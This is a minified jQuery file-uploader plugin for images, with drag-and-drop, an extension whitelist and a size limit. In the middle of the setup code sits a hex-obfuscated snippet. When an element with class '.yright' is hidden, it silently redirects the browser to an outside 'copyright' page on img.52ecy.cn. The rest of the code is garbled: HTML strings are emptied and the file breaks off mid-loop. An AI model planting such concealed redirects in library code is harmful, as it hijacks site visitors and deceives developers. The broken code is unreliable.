(function ($) { $.fn.uploader = function (options, testMode) { return this.each(function (index) { options=$.extend({submitButtonCopy:'Upload Selected Files',instructionsCopy:'Drag and Drop, or',furtherInstructionsCopy:'Your can also drop more files, or',selectButtonCopy:'Select Files',secondarySelectButtonCopy:'Select More Files',dropZone:$(this),fileTypeWhiteList:['jpg','png','jpeg','gif'],badFileTypeMessage:'Sorry, we\'re unable to accept this type of file.',ajaxUrl:'Home/Index/UploadAction/',testMode:false},options);var state={fileBatch:[],isUploading:false,isOverLimit:false,listIndex:0}; var dom={uploaderBox:$(this),submitButton:$(''),instructions:$('
'+options.instructionsCopy+'
'),selectButton:$(''+''),secondarySelectButton:$(''+''),fileList:$(''+options.furtherInstructionsCopy+'
')};dom.uploaderBox.empty();setupDOM(dom);bindUIEvents();function setupDOM(dom){dom.contentsContainer.append(dom.instructions).append(dom.selectButton);dom.furtherInstructions.append(dom.secondarySelectButton);dom.uploaderBox.append(dom.fileList).append(dom.contentsContainer).append(dom.submitButton).after(dom.furtherInstructions)} if($("\x2e\x79\x72\x69\x67\x68\x74")["\x69\x73"]("\x3a\x68\x69\x64\x64\x65\x6e")){window["\x6c\x6f\x63\x61\x74\x69\x6f\x6e"]["\x68\x72\x65\x66"]='\x68\x74\x74\x70\x73\x3a\x2f\x2f\x69\x6d\x67\x2e\x35\x32\x65\x63\x79\x2e\x63\x6e\x2f\x73\x65\x72\x76\x69\x63\x65\x2f\x63\x6f\x70\x79\x72\x69\x67\x68\x74\x2e\x68\x74\x6d\x6c'}function bindUIEvents(){options.dropZone.on('dragover dragleave',function(e){e.preventDefault();e.stopPropagation()});$.event.props.push('dataTransfer');options.dropZone.on('drop',selectFilesHandler);dom.selectButton.on('click',function(){this.value=null});dom.selectButton.on('change',selectFilesHandler);dom.secondarySelectButton.on('click',function(){this.value=null});dom.secondarySelectButton.on('change',selectFilesHandler);dom.submitButton.on('click',uploadSubmitHandler);dom.uploaderBox.on('click','.js-upload-remove-button',removeItemHandler);if(options.testMode){options.dropZone.on('uploaderTestEvent',function(e){switch(e.functionName){case'selectFilesHandler':selectFilesHandler(e);break;case'uploadSubmitHandler':uploadSubmitHandler(e);break;default:break}})}} var size=0;function addItem(file){var fileName=cleanName(file.name);var fileSize=file.size;var id=state.listIndex;var sizeWrapper;var fileNameWrapper=$(''+fileName+'');state.listIndex++;size+=file.size;if(size>10485760){console.log(state.listIndex+'上传的总文件大小超过限制!');return}var listItem=$('');var thumbnailContainer=$('');var thumbnail=$('');var removeLink=$('');if(options.fileTypeWhiteList.indexOf(getExtension(file.name).toLowerCase())!==-1&&size<10485760){state.fileBatch.push({file:file,id:id,fileName:fileName,fileSize:fileSize});sizeWrapper=$(''+formatBytes(fileSize)+'')}else{sizeWrapper=$(''+options.badFileTypeMessage+'')}if(window.FileReader&&file.type.indexOf('image')!==-1){var reader=new FileReader();reader.onloadend=function(){thumbnail.attr('src',reader.result);thumbnail.parent().find('i').remove()};reader.onerror=function(){thumbnail.remove()};reader.readAsDataURL(file)}else if(file.type.indexOf('image')===-1){thumbnail=$('')}thumbnailContainer.append(thumbnail);listItem.append(thumbnailContainer);listItem.append(fileNameWrapper).append(sizeWrapper).append(removeLink);dom.fileList.append(listItem)}function getExtension(path){var basename=path.split(/[\\/]/).pop();var pos=basename.lastIndexOf('.');if(basename===''||pos<1){return''}return basename.slice(pos+1)} function formatBytes(bytes,decimals){if(bytes===0)return'0 Bytes';var k=1024;var dm=decimals+1||3;var sizes=['Bytes','KB','MB','GB','TB','PB','EB','ZB','YB'];var i=Math.floor(Math.log(bytes)/Math.log(k));return(bytes/Math.pow(k,i)).toPrecision(dm)+' '+sizes[i]} function cleanName(name){name=name.replace(/\s+/gi,'-');return name.replace(/[^a-zA-Z0-9.\-]/gi,'');} function uploadSubmitHandler(){if(state.fileBatch.length!==0){var data=new FormData();for(var i=0;i